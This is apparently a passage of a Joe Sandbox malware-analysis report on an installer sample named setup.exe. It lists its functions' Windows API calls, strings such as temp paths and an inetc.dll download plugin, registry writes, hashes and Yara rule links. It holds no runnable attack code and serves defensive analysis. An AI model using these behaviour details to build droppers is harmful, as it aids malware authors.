SetTextColor.GDI32(?,00000000), ref: 00403FC4
SetBkMode.GDI32 ref: 00403FD0
GetSysColor.USER32(?), ref: 00403FE3
SetBkColor.GDI32(?,?), ref: 00403FF3
DeleteObject.GDI32 ref: 0040400D
CreateBrushIndirect.GDI32(?), ref: 00404017

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction ID: 4cc26f8bf5fc777f430f8318c3ba194748f169832e683f7fcd21add738ba3f9d
Opcode Fuzzy Hash: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction Fuzzy Hash: C221C371904705ABCB209F78DD08B4BBBF8AF40711F048A29F992F26E0C738E904CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040267C Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,0000B600,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 004026D0
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,000000F0), ref: 004026EC
GlobalFree.KERNEL32 ref: 00402725
WriteFile.KERNEL32(FFFFFD66,00000000,?,FFFFFD66,?,?,?,?,000000F0), ref: 00402737
GlobalFree.KERNEL32 ref: 0040273E
CloseHandle.KERNEL32(FFFFFD66,?,?,000000F0), ref: 00402756
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 0040276A

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: b8defe13902d58a52973a2e3f60156d7c1400e5746f24ef4cd0721e59596b3c4
Instruction ID: 719c612f4f238206e278f6e296a81204df483451b361404a9b6a09c3536a307a
Opcode Fuzzy Hash: b8defe13902d58a52973a2e3f60156d7c1400e5746f24ef4cd0721e59596b3c4
Instruction Fuzzy Hash: F831AD71C00128BBDF216FA4CD89DAE7E79EF08364F10423AF920772E0C6795D419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402BD3 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402BEB
GetTickCount.KERNEL32 ref: 00402C09
wsprintfA.USER32 ref: 00402C37

Part of subcall function 00404F04: lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
Part of subcall function 00404F04: lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
Part of subcall function 00404F04: SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404F98
Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404FB2
Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404FC0

CreateDialogParamA.USER32(0000006F,00000000,00402B3B,00000000), ref: 00402C5B
ShowWindow.USER32(00000000,00000005), ref: 00402C69

Part of subcall function 00402BB7: MulDiv.KERNEL32(003645B9,00000064,00365CF7,00402C2D), ref: 00402BCC

Strings

... %d%%, xrefs: 00402C31

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 17bdaf27663d9d1b2b81c0b918eaf4f945a095ba4556a5c22c1c6286d7ec1668
Instruction ID: c44cf6bb529b7c61e0c77009ed50883557557090b8ffabf6f859222ef57aaf40
Opcode Fuzzy Hash: 17bdaf27663d9d1b2b81c0b918eaf4f945a095ba4556a5c22c1c6286d7ec1668
Instruction Fuzzy Hash: C6016170949210EBD7215F61EE4DA9F7B78AB04701B14403BF502B11E5C6BC9A01CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 004047D3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 004047EE
GetMessagePos.USER32 ref: 004047F6
ScreenToClient.USER32(?,?), ref: 00404810
SendMessageA.USER32 ref: 00404822
SendMessageA.USER32 ref: 00404848

Strings

f, xrefs: 00404824

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction ID: 01d6173a61c3c3b4b037133c9a52f1e04ee3049876a8ff08b59bebc5d15cf036
Opcode Fuzzy Hash: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction Fuzzy Hash: BA018075D40218BADB00DB94CC41BFEBBBCAB55711F10412ABB00B61C0C3B46501CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00402B3B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32 ref: 00402B56
wsprintfA.USER32 ref: 00402B8A
SetWindowTextA.USER32(?,?), ref: 00402B9A
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BAC

Strings

unpacking data: %d%%, xrefs: 00402B78, 00402B88
verifying installer: %d%%, xrefs: 00402B7F

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a19141f3df1e0a3c8b8c2abcbd515ef60a2dd56e778219f0b9cb34bd20a9fb2d
Instruction ID: 39266fd7d8b3d51d4259f470751267aa52f8e49dbca779dff7f29341b6a717b4
Opcode Fuzzy Hash: a19141f3df1e0a3c8b8c2abcbd515ef60a2dd56e778219f0b9cb34bd20a9fb2d
Instruction Fuzzy Hash: AFF03671900109ABEF255F51DD0ABEE3779FB00305F008036FA05B51D1D7F9AA559F99

Uniqueness

Uniqueness Score: -1.00%

Function 00403978 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,Greak Memories of Azur Trke Yama.exe), ref: 00403A10

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403979
1033, xrefs: 0040397C, 00403986, 004039F7
d.], xrefs: 004039ED
Greak Memories of Azur Trke Yama.exe, xrefs: 004039FF

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: TextWindow
String ID: 1033$C:\Users\user\AppData\Local\Temp\$Greak Memories of Azur Trke Yama.exe$d.]
API String ID: 530164218-3931427952
Opcode ID: defed7287a9455a29b24b67e45bb8aa9d1031aed7a359321573c6b72916d69ed
Instruction ID: 09623374405f0611f065d620c03919b516a5f167df25bc0d5edc66fe9dc562c0
Opcode Fuzzy Hash: defed7287a9455a29b24b67e45bb8aa9d1031aed7a359321573c6b72916d69ed
Instruction Fuzzy Hash: F611C2B1B005109BC730DF15D880A73767DEB84716369413BE94167391C77EAE028E58

Uniqueness

Uniqueness Score: -1.00%

Function 00402303 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402341
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsn8043.tmp,00000023,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402361
RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsn8043.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040239A
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsn8043.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040247D

Strings

C:\Users\user\AppData\Local\Temp\nsn8043.tmp, xrefs: 00402352, 00402360, 00402374, 00402384, 0040238F

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsn8043.tmp
API String ID: 1356686001-1272350655
Opcode ID: 271707f578e5353a3fbe2519cc7d62c3cf42ff78cad1b3e4df9531e7eebe3039
Instruction ID: d7b132d9018d44432a73f3315d2b91b6aa1600c7a927e9fa70905f900517fa5a
Opcode Fuzzy Hash: 271707f578e5353a3fbe2519cc7d62c3cf42ff78cad1b3e4df9531e7eebe3039
Instruction Fuzzy Hash: BA1160B1E00209BFEB10AFA0DE49EAF767CFB54398F10413AF905B61D0D7B85D019669

Uniqueness

Uniqueness Score: -1.00%

Function 00401D1B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00401D22
GetDeviceCaps.GDI32 ref: 00401D29
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D38
CreateFontIndirectA.GDI32 ref: 00401D8A

Strings

MS Shell Dlg, xrefs: 00401D70

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirect
String ID: MS Shell Dlg
API String ID: 3272661963-76309092
Opcode ID: 2c6a9fd6684e48c72e8170f31dde3613139c4976fc228405473ba1f45ca6ba00
Instruction ID: d83410998d1654a5337f8c322709d39cf2ce3a8a4f0330bc6585c9693e616625
Opcode Fuzzy Hash: 2c6a9fd6684e48c72e8170f31dde3613139c4976fc228405473ba1f45ca6ba00
Instruction Fuzzy Hash: E1F044F1A45342AEE7016770AE0ABA93B649725306F100576F541BA1E2C5BC10149B7F

Uniqueness

Uniqueness Score: -1.00%

Function 00402A36 Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00000000,?), ref: 00402A57
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402A93
RegCloseKey.ADVAPI32(?), ref: 00402A9C
RegCloseKey.ADVAPI32(?), ref: 00402AC1
RegDeleteKeyA.ADVAPI32 ref: 00402ADF

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 90165163457562f2d2db0d0e016cf4740f9c141c2854e05e69f214c53397e3bf
Instruction ID: 3ec7b1818cbfc33efeafaf7017db19c7c479205e5d6f4ff66fb244667a93d6f3
Opcode Fuzzy Hash: 90165163457562f2d2db0d0e016cf4740f9c141c2854e05e69f214c53397e3bf
Instruction Fuzzy Hash: 93112971A00009FFDF319F90DE49EAF7B7DEB44385B104436F905A10A0DBB59E51AE69

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00401CC5
GetClientRect.USER32 ref: 00401CD2
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401CF3
SendMessageA.USER32 ref: 00401D01
DeleteObject.GDI32 ref: 00401D10

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 70cca8153c69b2e132429069c22b9ddf05dbb7ba62a9a7cfa9b79a9bcebcea9b
Instruction ID: de7316f9b9f1bcc3f0c1dff9ae5dc63c91f1472c52c052d8cf8a0da7f27950be
Opcode Fuzzy Hash: 70cca8153c69b2e132429069c22b9ddf05dbb7ba62a9a7cfa9b79a9bcebcea9b
Instruction Fuzzy Hash: D5F01DB2E04105BFD700EFA4EE89DAFB7BDEB44345B104576F602F2190C6789D018B69

Uniqueness

Uniqueness Score: -1.00%

Function 004046F1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(004204A0,004204A0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404611,000000DF,0000040F,00000400,00000000), ref: 0040477F
wsprintfA.USER32 ref: 00404787
SetDlgItemTextA.USER32(?,004204A0), ref: 0040479A

Strings

%u.%u%s%s, xrefs: 00404769

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 900e3a4788bbcdb5831f4eb4ea085b1ecc54347093cfae2cf180548b061950ae
Instruction ID: e1128f73888b2767c9277aed1687fd20c93e739cc52df1aac9c0a45a5a8dde9d
Opcode Fuzzy Hash: 900e3a4788bbcdb5831f4eb4ea085b1ecc54347093cfae2cf180548b061950ae
Instruction Fuzzy Hash: 7311E2736001243BDB10666D9C46EEF3699DBC6335F14423BFA25F61D1E938AC5286A8

Uniqueness

Uniqueness Score: -1.00%

Function 00405659 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403226,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 0040565F
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403226,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405668
lstrcatA.KERNEL32(?,00409010), ref: 00405679

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405659

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction ID: d5422d5486d5b384c4dcc02911800b35c31fcf4388d9dde419d5dff5703c7688
Opcode Fuzzy Hash: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction Fuzzy Hash: 8BD05272605A202ED2022A258C05E9B7A28CF06311B044866B540B2292C6386D818AEE

Uniqueness

Uniqueness Score: -1.00%

Function 00401EC5 Relevance: 6.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401ED4
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401EF2
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F0B
VerQueryValueA.VERSION(?,00409010,?,?,?,?,?,00000000), ref: 00401F24

Part of subcall function 00405AC4: wsprintfA.USER32 ref: 00405AD1

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: be50ba22476c795dccddfbd46c0b19e6aec7ed87346bdfd2eed6167faf837e67
Instruction ID: 178fa6cf4330108057832d0c189c0e5a27020503733a18e797ef1cc5e9d7aef6
Opcode Fuzzy Hash: be50ba22476c795dccddfbd46c0b19e6aec7ed87346bdfd2eed6167faf837e67
Instruction Fuzzy Hash: 52113A71A00108BEDB01EFA5DD819AEBBB9EB48344B20853AF501F61E1D7389A54DB28

Uniqueness

Uniqueness Score: -1.00%

Function 00404E54 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00404E8A
CallWindowProcA.USER32(?,00000200,?,?), ref: 00404EF8

Part of subcall function 00403F64: SendMessageA.USER32 ref: 00403F76

Strings

, xrefs: 00404E62

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 1a28ca64547386e1a64dd11c64f6ae458e1df03769ff3acb3952d776ac0a4b66
Instruction ID: 62f3a1a08e098275047049d4f9968a6b4933f6b7f921e7009373277d82a30415
Opcode Fuzzy Hash: 1a28ca64547386e1a64dd11c64f6ae458e1df03769ff3acb3952d776ac0a4b66
Instruction Fuzzy Hash: D1116D71900208BBDB21AF52DC4499B3669FB84369F00803BF6047A2E2C37C5A519BAD

Uniqueness

Uniqueness Score: -1.00%

Function 004024BE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34filestringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004024DC
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nsn8043.tmp\inetc.dll,00000000,?,?,00000000,00000011), ref: 004024FB

Strings

C:\Users\user\AppData\Local\Temp\nsn8043.tmp\inetc.dll, xrefs: 004024CA, 004024EF

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsn8043.tmp\inetc.dll
API String ID: 427699356-2607086541
Opcode ID: 02a15bd42c28bed1fb8554f3d16374f042fc662dbffd218bbabce7ee12e12458
Instruction ID: 2c1f07a632d72534084a5ac00d75746702f795d1104bf50e8da4b719a2e94720
Opcode Fuzzy Hash: 02a15bd42c28bed1fb8554f3d16374f042fc662dbffd218bbabce7ee12e12458
Instruction Fuzzy Hash: BCF08972A44245FFD710EBB19E49EAF7668DB00348F14443BB142F51C2D6FC5982976D

Uniqueness

Uniqueness Score: -1.00%

Function 0040361A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",00000000,74DF2EE0,004035F1,00000000,0040342D,00000000), ref: 00403634
GlobalFree.KERNEL32 ref: 0040363B

Strings

